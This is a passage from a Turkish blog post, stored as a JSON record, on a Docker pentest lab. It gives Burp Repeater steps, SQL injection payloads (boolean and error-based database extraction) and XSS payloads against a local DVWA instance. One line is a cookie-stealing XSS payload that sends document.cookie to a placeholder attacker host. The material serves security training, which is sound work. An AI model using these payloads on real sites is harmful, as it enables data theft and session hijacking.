koy:<\/p>\r\n<\/li>\r\n<\/ul>\r\n<pre><code>id=1' OR '1'='1\r\n<\/code><\/pre>\r\n<p>Yani sat\u0131r\u0131 \u015fu hale getir:<\/p>\r\n<pre><code>GET \/vulnerabilities\/sqli\/?id=1'%20OR%20'1'='1&amp;Submit=Submit HTTP\/1.1\r\n<\/code><\/pre>\r\n<p>(Repeater&rsquo;de URL encode\/encode etmeye dikkat et; do\u011frudan body veya param alan\u0131na yazabilirsin.)<\/p>\r\n<h3>Beklenen yan\u0131t \/ neye bakmal\u0131<\/h3>\r\n<ul>\r\n<li>\r\n<p>E\u011fer uygulama <code>id<\/code> parametresini do\u011frudan SQL sorgusuna ekliyorsa ve filtrasyon yoksa, sorgu t&uuml;m kay\u0131tlar\u0131 d&ouml;nd&uuml;rebilir. HTML &ccedil;\u0131kt\u0131 b&ouml;l&uuml;m&uuml;nde daha fazla sonu&ccedil; veya DB sat\u0131r\u0131 g&ouml;r&uuml;rs&uuml;n.<\/p>\r\n<\/li>\r\n<li>\r\n<p>Hata tabanl\u0131 SQLi&rsquo;de SQL hatas\u0131 mesajlar\u0131 (MySQL error) d&ouml;nebilir; &ouml;rn. <code>You have an error in your SQL syntax<\/code> gibi.<\/p>\r\n<\/li>\r\n<li>\r\n<p>Ekran g&ouml;r&uuml;nt&uuml;s&uuml; (metin \u015feklinde):<\/p>\r\n<ul>\r\n<li>\r\n<p><code>screenshots\/sqli-repeater-response.txt<\/code> i&ccedil;eri\u011fi &ouml;rne\u011fi: HTML i&ccedil;erisinde <code>username<\/code> veya <code>user id<\/code> listesi, ya da SQL error trace.<\/p>\r\n<\/li>\r\n<li>\r\n<p>&Ouml;rnek beklenen sat\u0131r: <code>User ID: 1 - admin<\/code> veya <code>SQL syntax error near 'OR '1'='1'<\/code>.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<\/li>\r\n<\/ul>\r\n<h3>Manuel PoC: basit boolean test<\/h3>\r\n<ul>\r\n<li>\r\n<p>Payload: <code>id=1' AND 1=1 -- -<\/code> ve <code>id=1' AND 1=2 -- -<\/code> fark\u0131n\u0131 kontrol et. <code>1=1<\/code> ile sayfa normal d&ouml;ner, <code>1=2<\/code> ile i&ccedil;erik de\u011fi\u015fiyorsa boolean-based SQLi.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<hr>\r\n<h2>2) SQLi &mdash; POST &ouml;rne\u011fi (e\u011fer form POST ise)<\/h2>\r\n<h3>Request (POST)<\/h3>\r\n<pre><code>POST \/some\/vuln\/post.php HTTP\/1.1\r\nHost: localhost:8081\r\nUser-Agent: Mozilla\/5.0\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 30\r\nCookie: PHPSESSID=REPLACE; security=low\r\n\r\nid=1&amp;name=foo\r\n<\/code><\/pre>\r\n<h3>Repeater manipulasyon:<\/h3>\r\n<ul>\r\n<li>\r\n<p><code>id=1<\/code> &rarr; <code>id=1' OR '1'='1<\/code><\/p>\r\n<\/li>\r\n<li>\r\n<p>G&ouml;nder ve response i&ccedil;inde beklenen: fazla kay\u0131t, DB verileri ya da hata mesajlar\u0131.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<hr>\r\n<h2>3) XSS &mdash; Reflected (DVWA reflected example)<\/h2>\r\n<h3>Request (GET reflected param)<\/h3>\r\n<pre><code>GET \/vulnerabilities\/xss_r\/?name=&lt;script&gt;alert('XSS')&lt;\/script&gt; HTTP\/1.1\r\nHost: localhost:8081\r\nUser-Agent: Mozilla\/5.0\r\nAccept: text\/html\r\nConnection: close\r\nCookie: PHPSESSID=REPLACE; security=low\r\n<\/code><\/pre>\r\n<h3>Beklenen yan\u0131t \/ neye bakmal\u0131<\/h3>\r\n<ul>\r\n<li>\r\n<p>E\u011fer site payload&rsquo;\u0131 HTML i&ccedil;inde encode etmeden geri d&ouml;nd&uuml;r&uuml;yorsa, taray\u0131c\u0131da <code>alert('XSS')<\/code> &ccedil;al\u0131\u015f\u0131r. Repeater response HTML g&ouml;vdesinde <code>&amp;lt;script&amp;gt;<\/code> yerine direkt <code>&lt;script&gt;alert('XSS')&lt;\/script&gt;<\/code> g&ouml;r&uuml;nmeli.<\/p>\r\n<\/li>\r\n<li>\r\n<p>Ekran g&ouml;r&uuml;nt&uuml;s&uuml; (metin): <code>screenshots\/xss-repeater-response.txt<\/code> i&ccedil;eri\u011finde: <code>&lt;h2&gt;Hello &lt;script&gt;alert('XSS')&lt;\/script&gt;&lt;\/h2&gt;<\/code> veya benzeri.<\/p>\r\n<\/li>\r\n<li>\r\n<p>PoC ekran g&ouml;r&uuml;nt&uuml;s&uuml; metni: &ldquo;Taray\u0131c\u0131da a&ccedil;\u0131lan alert penceresi: <code>alert('XSS')<\/code>&rdquo; &mdash; (metin a&ccedil;\u0131klamas\u0131).<\/p>\r\n<\/li>\r\n<\/ul>\r\n<h3>G&uuml;venlik notu<\/h3>\r\n<ul>\r\n<li>\r\n<p>Taray\u0131c\u0131 alert &ccedil;al\u0131\u015fmas\u0131 en basit PoC&rsquo;dur; ger&ccedil;ek exfiltration i&ccedil;in payload <code>new Image().src=\"http:\/\/ATTACKER:PORT\/?c=\"+document.cookie<\/code> gibi olabilir.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<hr>\r\n<h2>4) XSS &mdash; Stored (POST yorum formu)<\/h2>\r\n<h3>POST &ouml;rne\u011fi (DVWA stored XSS)<\/h3>\r\n<pre><code>POST \/vulnerabilities\/xss_s\/ HTTP\/1.1\r\nHost: localhost:8081\r\nUser-Agent: Mozilla\/5.0\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 78\r\nCookie: PHPSESSID=REPLACE; security=low\r\n\r\nname=&lt;script&gt;alert('STOREDXSS')&lt;\/script&gt;&amp;message=Hello%20world&amp;Submit=Submit\r\n<\/code><\/pre>\r\n<h3>Beklenen yan\u0131t<\/h3>\r\n<ul>\r\n<li>\r\n<p>Repeater g&ouml;nderiminden sonra sayfay\u0131 g&ouml;r&uuml;nt&uuml;leyen ba\u015fka bir kullan\u0131c\u0131\/oturum payload'\u0131 tetikler. HTML i&ccedil;erisinde depolanm\u0131\u015f <code>&lt;script&gt;alert('STOREDXSS')&lt;\/script&gt;<\/code> g&ouml;r&uuml;l&uuml;r.<\/p>\r\n<\/li>\r\n<li>\r\n<p>Ekran g&ouml;r&uuml;nt&uuml;s&uuml; (metin): &ldquo;Stored XSS payload&rsquo;\u0131n\u0131n bulundu\u011fu sayfa HTML snippet&rsquo;i: <code>...&lt;div class='comment'&gt;&lt;b&gt;attacker&lt;\/b&gt;: &lt;script&gt;alert('STOREDXSS')&lt;\/script&gt;&lt;\/div&gt;...<\/code>&rdquo;.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<hr>\r\n<h2>5) SQLi &mdash; Burp Repeater ile tam ad\u0131m (boolean \/ error-based)<\/h2>\r\n<p>Ad\u0131m ad\u0131m (kopya-yap\u0131\u015ft\u0131r):<\/p>\r\n<ol>\r\n<li>\r\n<p>Proxy ayarla, DVWA'da oturum a&ccedil;, security=low.<\/p>\r\n<\/li>\r\n<li>\r\n<p>Target &rarr; Proxy &rarr; HTTP history se&ccedil; ve hedef form iste\u011fini yakala. \u0130ste\u011fi Repeater&rsquo;a g&ouml;nder.<\/p>\r\n<\/li>\r\n<li>\r\n<p>Repeater&rsquo;de payload testleri:<\/p>\r\n<\/li>\r\n<\/ol>\r\n<ul>\r\n<li>\r\n<p>Basit boolean test:<\/p>\r\n<\/li>\r\n<\/ul>\r\n<pre><code>id=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) -- -\r\n<\/code><\/pre>\r\n<p>(Bu biraz karma\u015f\u0131k; hata tabanl\u0131 retrievel i&ccedil;in kullan\u0131l\u0131r &mdash; sqlmap otomatik yapar. Manuel i&ccedil;in daha basit boolean payload&rsquo;lar\u0131 tercih et.)<\/p>\r\n<ul>\r\n<li>\r\n<p>Hata tabanl\u0131 test (MySQL i&ccedil;in):<\/p>\r\n<\/li>\r\n<\/ul>\r\n<pre><code>id=1' AND extractvalue(1,concat(0x7e,(select database()),0x7e)) -- -\r\n<\/code><\/pre>\r\n<p>Beklenen: HTML veya hata mesaj\u0131 i&ccedil;inde veritaban\u0131 ad\u0131 g&ouml;r&uuml;n&uuml;r.<\/p>\r\n<hr>\r\n<h1>E &mdash; Beklenen &ldquo;ekran g&ouml;r&uuml;nt&uuml;s&uuml;&rdquo; (metin \u015feklinde &ouml;rnekler)<\/h1>\r\n<p>Sana ger&ccedil;ek PNG g&ouml;nderemiyorum; bunun yerine blog\/raporuna koyabilece\u011fin <strong>metin tabanl\u0131 ekran g&ouml;r&uuml;nt&uuml;s&uuml; a&ccedil;\u0131klamalar\u0131<\/strong> haz\u0131rlad\u0131m &mdash; bu a&ccedil;\u0131klamalar\u0131 g&ouml;rsel alt\u0131 a&ccedil;\u0131klamas\u0131 (caption) olarak kullan:<\/p>\r\n<ol>\r\n<li>\r\n<p><code>01-novnc-burp-home.txt<\/code><\/p>\r\n<ul>\r\n<li>\r\n<p>A&ccedil;\u0131klama: &ldquo;noVNC ile eri\u015filen Burp GUI ana ekran\u0131. Sol men&uuml;: Proxy, Target, Repeater; ortada Intercept a&ccedil;\u0131k.&rdquo;<\/p>\r\n<\/li>\r\n<\/ul>\r\n<\/li>\r\n<li>\r\n<p><code>02-repeater-sqli-response.txt<\/code><\/p>\r\n<ul>\r\n<li>\r\n<p>A&ccedil;\u0131klama: &ldquo;Repeater yan\u0131t\u0131: HTML g&ouml;vdesinde &lsquo;SQL syntax error&rsquo; ve veritaban\u0131 sat\u0131rlar\u0131na dair i&ccedil;erik.&rdquo;<\/p>\r\n<\/li>\r\n<\/ul>\r\n<\/li>\r\n<li>\r\n<p><code>03-repeater-xss-alert.txt<\/code><\/p>\r\n<ul>\r\n<li>\r\n<p>A&ccedil;\u0131klama: &ldquo;Taray\u0131c\u0131da g&ouml;r&uuml;len alert popup: &lsquo;XSS&rsquo; &mdash; payload taray\u0131c\u0131da &ccedil;al\u0131\u015ft\u0131.&rdquo;<\/p>\r\n<\/li>\r\n<\/ul>\r\n<\/li>\r\n<li>\r\n<p><code>04-sqlmap-dump.txt<\/code><\/p>\r\n<ul>\r\n<li>\r\n<p>A&ccedil;\u0131klama: &ldquo;sqlmap &ccedil;\u0131kt\u0131s\u0131: &lsquo;Database: dvwa&rsquo; ve &lsquo;Table: users&rsquo; listesi, dump edilmi\u015f kullan\u0131c\u0131 sat\u0131rlar\u0131.&rdquo;<\/p>\r\n<\/li>\r\n<\/ul>\r\n<\/li>\r\n<\/ol>\r\n<p>Bu metin a&ccedil;\u0131klamalar\u0131 hem blog hem rapor k\u0131sm\u0131nda g&ouml;rsel alt\u0131 a&ccedil;\u0131klamas\u0131 olarak kullan\u0131labilir.<\/p>\r\n<hr>\r\n<h1>F &mdash; Ek ipu&ccedil;lar\u0131, sorun giderme ve g&uuml;venlik<\/h1>\r\n<ul>\r\n<li>\r\n<p><strong>noVNC ba\u011flant\u0131 ba\u015far\u0131s\u0131zsa:<\/strong> container loglar\u0131n\u0131 kontrol et <code>docker logs attacker_gui<\/code> ve <code>websockify<\/code> ar\u0131zalar\u0131n\u0131 ara.<\/p>\r\n<\/li>\r\n<li>\r\n<p><strong>Burp portu g&ouml;r&uuml;nm&uuml;yor:<\/strong> Burp GUI&rsquo;de Proxy &rarr; Options &rarr; Listener <code>0.0.0.0:8080<\/code> ekledi\u011finden emin ol. Docker-compose ports b&ouml;l&uuml;m&uuml;nde <code>8080:8080<\/code> maplenmeli.<\/p>\r\n<\/li>\r\n<li>\r\n<p><strong>CA sertifika:<\/strong> HTTPS intercept i&ccedil;in Burp CA&rsquo;y\u0131 host taray\u0131c\u0131ya y&uuml;kle (geli\u015ftirme\/test only).<\/p>\r\n<\/li>\r\n<li>\r\n<p><strong>A\u011f izolasyonu:<\/strong> Laboratuvar\u0131 sadece <code>web-lab<\/code> bridge i&ccedil;inde tut; e\u011fer internete a&ccedil;mak istemiyorsan <code>ports:<\/code> maplemelerini kald\u0131r veya host firewall ile k\u0131s\u0131tla.<\/p>\r\n<\/li>\r\n<li>\r\n<p><strong>Parola g&uuml;venli\u011fi:<\/strong> Bu image&rsquo;ler test ama&ccedil;l\u0131d\u0131r; VNC \u015fifresi yok &mdash; yaln\u0131zca yerelde\/izole ortamda kullan.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<hr>\r\n<h1>G &mdash; K\u0131sa &ccedil;al\u0131\u015fma &ouml;rne\u011fi (ad\u0131m ad\u0131m &ouml;zet &mdash; h\u0131zl\u0131 start)<\/h1>\r\n<ol>\r\n<li>\r\n<p><code>burpsuite.jar<\/code> dosyan\u0131 ayn\u0131 klas&ouml;re koy (opsiyonel).<\/p>\r\n<\/li>\r\n<li>\r\n<p><code>Dockerfile.gui<\/code>, <code>entrypoint-gui.sh<\/code>, <code>docker-compose.yml<\/code> ayn\u0131 klas&ouml;rde olsun.<\/p>\r\n<\/li>\r\n<li>\r\n<p>Build &amp; run:<\/p>\r\n<\/li>\r\n<\/ol>\r\n<pre><code class=\"language-bash\">docker-compose build attacker_gui\r\ndocker-compose up -d\r\n<\/code><\/pre>\r\n<ol start=\"4\">\r\n<li>\r\n<p>noVNC ile GUI&rsquo;ye ba\u011flan: <code>http:\/\/localhost:6080<\/code><\/p>\r\n<\/li>\r\n<li>\r\n<p>Burp GUI a&ccedil;\u0131ld\u0131ysa: Proxy &rarr; Options &rarr; Add listener &rarr; Interface: <code>0.0.0.0<\/code>, Port: <code>8080<\/code><\/p>\r\n<\/li>\r\n<li>\r\n<p>Host taray\u0131c\u0131n\u0131 <code>127.0.0.1:8080<\/code> proxy olarak ayarla. (\u0130stersen devtools &gt; network &uuml;zerinden do\u011frudan test et.)<\/p>\r\n<\/li>\r\n<li>\r\n<p>DVWA&rsquo;ye (<a href=\"http:\/\/localhost:8081\/\">http:\/\/localhost:8081<\/a>) gir, oturum a&ccedil;, Repeater ile yukar\u0131daki SQLi\/XSS isteklerini &ccedil;al\u0131\u015ft\u0131r.<\/p>\r\n<\/li>\r\n<\/ol>\r\n<hr>\r\n<h1>H &mdash; Son notlar &amp; &ouml;neriler<\/h1>\r\n<ul>\r\n<li>\r\n<p>\u0130stersen bu imaj\u0131n VNC i&ccedil;in <strong>basit parola<\/strong> ekleyen ve noVNC login ekran\u0131 olan bir s&uuml;r&uuml;m&uuml;n&uuml; haz\u0131rlay\u0131p g&ouml;ndereyim &mdash; g&uuml;venlik i&ccedil;in iyi olur.<\/p>\r\n<\/li>\r\n<li>\r\n<p>Burp jar&rsquo;\u0131n\u0131 kendin koyduktan sonra ben sana tam olarak <code>docker-compose<\/code> build arg&rsquo;lar\u0131 ve &ouml;rnek Burp config ad\u0131mlar\u0131n\u0131 (CA export, Proxy listener preset script) haz\u0131rlayay\u0131m.<\/p>\r\n<\/li>\r\n<li>\r\n<p>Ayr\u0131ca istersen Repeater i&ccedil;in <strong>tam ekranl\u0131 &ouml;rnek istek\/yan\u0131t loglar\u0131n\u0131<\/strong> (plain text) &uuml;retip blog i&ccedil;inde g&ouml;sterilecek \u015fekilde formatlayay\u0131m.<\/p>\r\n<\/li>\r\n<\/ul>\r\n<p>Hangi eklemeyi hemen yapay\u0131m? (&ouml;r. VNC parola + noVNC login, veya Burp CA export ad\u0131mlar\u0131n\u0131n otomatikle\u015ftirilmesi).<\/p>","excerpt":"Docker ile pentest laboratuvar\u0131 kurmak: hafif, h\u0131zl\u0131 ve ta\u015f\u0131nabilir. Sald\u0131rgan makine (Kali), hedef uygulamalar (Juice Shop, DVWA, bWAPP, WebGoat) ve tek bir docker-compose a\u011f\u0131 ile izole, tekrar \u00fcretilebilir bir \u00f6\u011frenme ortam\u0131 olu\u015fturun.","created_at":"2025-07-06 20:42:31","updated_at":"2026-09-07 14:05:12","category_id":7,"view_count":1162,"reading_time":31,"status":"published","editor_choice":0,"is_editor_choice":0,"published_at":"2025-07-06 20:42:31","featured_image":"resimyok.jpg","slug":"docker-ile-web-uygulama-pentest-laboratuvari-kurma","category_name":"Cyber Security","category_slug":"cyber-security","category_color":"#10b981"}